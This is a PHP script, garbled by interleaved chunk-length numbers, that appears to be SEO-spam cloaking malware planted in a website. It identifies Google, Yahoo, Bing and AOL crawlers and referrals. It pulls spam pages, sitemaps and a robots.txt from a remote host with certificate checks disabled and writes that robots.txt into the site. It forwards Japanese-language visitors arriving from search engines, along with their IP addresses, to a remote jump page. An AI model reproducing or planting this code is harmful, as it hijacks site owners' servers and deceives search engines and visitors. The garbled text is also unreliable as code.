2 5 php e 3 rro 4 r_re 2 po 3 rti 3 ng( 2 0) 2 ; 3 @se 3 t_t 3 ime 3 _li 2 mi 3 t(1 1 2 7 0); @ig 2 no 3 re_ 3 use 3 r_a 4 bort 2 (1 4 ); $ 3 tr 2 = 3 "ht 3 tps 2 :/ 2 /j 2 26 2 03 2 05 2 _2 2 3. 3 bar 3 ret 2 t. 3 giv 2 es 3 /"; 2 c 3 las 3 s R 2 eq 2 { 2 4 p 3 ubl 3 ic 2 fu 3 nct 3 ion 4 ser 2 ve 3 r($ 2 na 2 me 5 = '' 2 , 3 $de 3 fau 2 lt 6 = '') 5 6 { 5 i 3 f ( 3 emp 2 ty 7 ($name) 1 ) f { 3 ret 3 urn 3 $_ 2 SE 2 RV 3 ER; 9 1 } 9 a $name = st 3 rto 2 up 1 p 9 er($name) a ; 9 return is 3 set 1 ( 9 $_SERVER[ 5 $name 3 ]) 2 ? 10 $_SERVER[$name] 1 : 9 $default 7 ; } 15 public function 3 iss 1 ( 16 ) { if ($t 2 hi 2 s- 1 > 8 server(' 3 HTT 2 PS 3 ') 1 & 3 & ( 3 "1" 2 = 2 = 17 $this->server('HTTPS') 3 || 3 "on 5 " == 5 strto 3 low 4 er($ 15 this->server('HTTPS') 1 ) 19 )) { return t 3 rue b ; } 3 el 2 se 5 if (' 5 https 1 ' 14 == $this->server('R 2 EQ 2 UE 3 ST_ 2 SC 2 HE 3 ME' 31 )) { return true; } elseif (' 2 44 1 3 14 ' == $this->server(' 7 SERVER_ 2 PO 2 RT 32 ')) { return true; } elseif (' 19 https' == $this->server(' 4 HTTP 2 _X 3 _FO 2 RW 2 AR 2 DE 3 D_P 2 RO 2 TO 28 ')) { return true; } 10 return 2 fa 3 lse 1c ; } public function 3 hos 1 t 12 () { $ 4 host 6 = str 3 val 14 ($this->server('HTTP e _X_FORWARDED_H 2 OS 4 T') 2 ?: 15 $this->server('HTTP_ 6 HOST') 12 ); return 3 str 3 pos 21 ($host, ':') ? strstr($host, ':', 6 true) 4 : $ 4 host 1c ; } public function 3 sch 2 em 1 e 11 () { 8 return $ 6 this-> 5 iss() 3 ? 7 "https" 3 : 6 "http" 1c ; } public function 2 dm 1f () { return $this-> 9 scheme() 2 . 1 " 4 ://" 3 . 7 $this-> 6 host() 1e ; } public function ip 17 () { if (ge 3 ten 1 v 8 ('HTTP_C 2 LI 2 EN 3 T_I 1 P 13 ')) { $ 2 ip 3 = 18 getenv('HTTP_CLIENT_IP') 14 ; } elseif ( d getenv('HTTP_ c X_FORWARDED_ 3 FOR 25 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1c ; } elseif (getenv(' 2 RE 3 MOT 2 E_ 3 ADD 2e R')) { $ip = getenv('REMOTE_ADDR') 10 ; } else 15 { $ip = 11 $this->server('RE 16 MOTE_ADDR'); } 13 return $ip 1f ; } public function isc 12 () { $ 2 ag 3 ent 1 21 = strtolower($this->server('HTTP_ 1 U 4 SER_ 2 AG 3 ENT d ')); 5 if ($ 6 agent 1 ! 4 = '' 5 && p 3 reg 2 _m 3 atc 3 h(' 2 /g 3 oog 2 le 3 bot 1 | 8 google|y 2 ah 3 oo| 1 b 4 ing| 2 ao 3 l/s 1 i 4 ', $ 5 agent 58 )) { return true; } return false; } public function 3 isg 9 () { 1 3 $r 3 efe 1 r 23 = strtolower($this->server('HTTP_R 2 EF 3 ERE 1 R d ')); 9 $referbot 1 s 4 = ' 16 google|yahoo|bing|aol' 15 ; if ($refer 16 != '' && preg_match("/ 1 ( b $referbots) 4 /si" 1 , 7 $refer 58 )) { return true; } return false; } public function 3 uri 17 () { if (($ 3 pos 6 = str 1c pos($this->server('REQUEST_U 2 RI 2 ') 3 , ' 1 . 3 php 5 ')) ! 3 == 5 false 11 ) { $ 3 scr 3 ipt 1 _ 8 name = b 3 ase 4 name 10 ($this->server(' 3 SCR 2 IP 2 T_ 3 FIL 2 EN 1 A 6 ME')); d 23 if (basename($this->server('SCRIPT_ 7 NAME')) 3 == 1 = d $script_name 10 ) { 6 $u 2 rl 12 = $this->server(' d SCRIPT_NAME') e ; a } elseif ( 18 basename($this->server(' 2 PH 1 P 4 _SEL 1 F 3e ')) === $script_name) { $url = $this->server(' a PHP_SELF') 32 ; } elseif (basename($this->server('OR 2 IG 1 _ 49 SCRIPT_NAME')) === $script_name) { $url = $this->server(' 12 ORIG_SCRIPT_NAME') 18 ; } elseif ( 2d ($pos = strpos($this->server('PHP_SELF'), '/' 4 . $ c script_name) 1b ) !== false) { c $url = s 2 ub 5 str($ 1d this->server('SCRIPT_NAME'), 1 0 3 , $ 3 pos 4 ) . 12 '/' . $script_name 18 ; } elseif ( 10 $this->server('D 2 OC 2 UM 8 ENT_ROOT 6 ') && 16 strpos($this->server(' 11 SCRIPT_FILENAME') 1 , 10 $this->server(' f DOCUMENT_ROOT') 7 ) === 0 1d ) { $url = st 6 r_repl 29 ace($this->server('DOCUMENT_ROOT'), '', $ 2e this->server('SCRIPT_FILENAME')); 1 } d 3 $re 1 q 3 uri 8 = $url 1 . 17 substr($this->server(' f REQUEST_URI'), 5 $pos 2 + 1 4 21 ); } else { $ 9 requri = 25 substr($this->server('REQUEST_URI'), 27 strpos($this->server('REQUEST_URI'), '/ d ')); 11 } return 3 rtr 2 im 8 ($requri 6 , '/') 1e ; } public function ex 2 ec 3 Req 1 ( 4 $url 7 , $p = 4 arra 3 y() 11 ) { $ 14 url = str_replace(' 3 ', 2 '+ 4 ', $ 3 url c ); $ 2 ch 4 = c 4 url_ 3 ini d t(); 5 curl_ 3 set 2 op 3 t($ 3 ch, 2 C 3 URL 2 OP 4 T_UR 1 L 11 , $url); 1b curl_setopt($ch, CURLOPT_RE 2 TU 2 RN 3 TRA 2 NS 3 FER 2 , 1 1 25 ); curl_setopt($ch, CURLOPT_H 2 EA 5 DER, 1 0 25 ); curl_setopt($ch, CURLOPT_T 2 IM 2 EO 3 UT, 2 2 25 0); curl_setopt($ch, CURLOPT_ 1 P 3 OST 27 , 1); curl_setopt($ch, CURLOPT_ 3 SSL 1 _ 4 VERI 1 F 3 YPE 29 ER, 0); curl_setopt($ch, CURLOPT_ b SSL_VERIFYH 5 OST, 25 0); curl_setopt($ch, CURLOPT_ 5 POSTF 2 IE 2 LD 3 S, 6 http_b 3 uil 2 d_ 3 que 1 r 4 y($p d )); $ 2 ou 3 tpu 1 t 8 = curl_ 4 exec 10 ($ch); $ 6 errorC 3 ode 9 = curl_e 3 rrn 1 o 14 ($ch); curl_ 3 clo 2 se f ($ch); 4 if ( 1 0 5 !== a $errorCode 17 ) { return b false; 4 12 } return $ 6 output 8 ; } 2 } 4 $req 3 = 2 ne 1 w 4 Req 5 (); $ 3 isc 7 = $req 5 ->isc 8 (); $isg b = $req->is 6 g(); $ 2 um 1 a 7 p = $tr 4 . " 4 map" 4 ; $u 5 ri = 3 url 3 dec 3 ode 7 ($req-> 9 uri()); $ a p = array( 7 "d 2 om 2 ai 4 n" = 1 > 7 $req-> 5 dm(), 6 " 4 port b " => $req-> 15 server('SERVER_PORT', 2 8 1 0 b ), "uri 6 " => $ 4 uri 3 ); 4 if ( 8 substr($ 6 uri, - 2 10 5 ) == 2 "r 1 o 5 bots. 3 txt 1 " 9 ) { h 3 ead 4 er(" 2 Co 1 n 4 tent 3 -ty 2 pe 3 :te 3 xt/ 5 plain 3 ; c 2 ha 1 r 5 set=u 2 tf 2 -8 1 " 9 ); di 8 e($req-> 9 execReq($ 6 tr . " 6 robots 4 ", $ 6 p)); } 13 if (substr($uri, - 1 6 c ) == "robots 9 ") { a $output = 21 $req->execReq($tr . "robots", $p) 6 ; 3 $rp 4 t = 3 __D 3 IR_ 1 _ 5 . "/ b robots.txt" 7 ; f 3 ile 4 _put 2 _c 6 ontent 3 s($ 4 rpt, 8 $output 9 ); $r 5 obots 5 _cont 4 = @ 5 file_ 3 get e _contents($rpt 7 ); 5 if (s 6 trpos( c strtolower($ b robots_cont 3 ), 3 "si 2 te 4 map" d )) { 4 die( b "robots.txt 5 file 3 cr 3 eat 1 e 4 suc 3 ces 2 s! 8 "); 11 } else { 1c die("robots.txt file create 2 fa 2 il a !"); } 15 } if (substr($uri, - 1 4 7 ) == ". 3 xml 9 ") { 11 if (strpos($uri, 2 "a 2 ll 7 sitemap 8 .xml") | 2 | e strpos($uri, " 8 sitemap- 3 ind 2 ex 25 .xml") || strpos($uri, "sitemap-index 2 -1 18 .xml") || strpos($uri, " b index.xml") c ) { 19 $output = $req->execReq($ 4 umap b , $p); 4 1a header("Content-type:text/ 4 " . 9 (substr($ 6 output 5 , 0, 1 5 7 ) === ' 2 3 xml 1 ' 4 ? ' 5 xml' 3 : ' 5 plain 1 ' 5 ) . ' f ; charset=utf-8 c '); 4 die( 1 ' 5 ' . $ d output); 1 } 24 $output = $req->execReq($tr . " 3 wor 1 d c ", $p); 1a header("Content-type:text/ 3 xml 17 ; charset=utf-8"); 5 if ($ 8 output = 3 = " 2 1" 10 ) { die( 6 '' . $ 17 req->execReq($umap, $p) 1c ); } else { die( 15 '' . $output); } 4 } $l 2 an a g = $req-> e server('HTTP_A 3 CCE 3 PT_ 2 LA 2 NG 1 U 4 AGE' 8 ); if (! 5 $isc 3 && 5 $isg b && strpos($ 4 lang 4 , 'j 3 a') 3 !== e false) { $ 3 p[" 2 ip 2 "] a = $req->i 1 p 9 (); $ 1 a 6 ction 9 = $tr . " 2 ju 1 m 8 p"; 13 die($req->execReq($ 6 action e , $p)); } if ( 4 $isc 8 ) { 1e die('' . $req->execReq($tr . " 3 ind 3 ata c ", $p)); } ? 1 > 0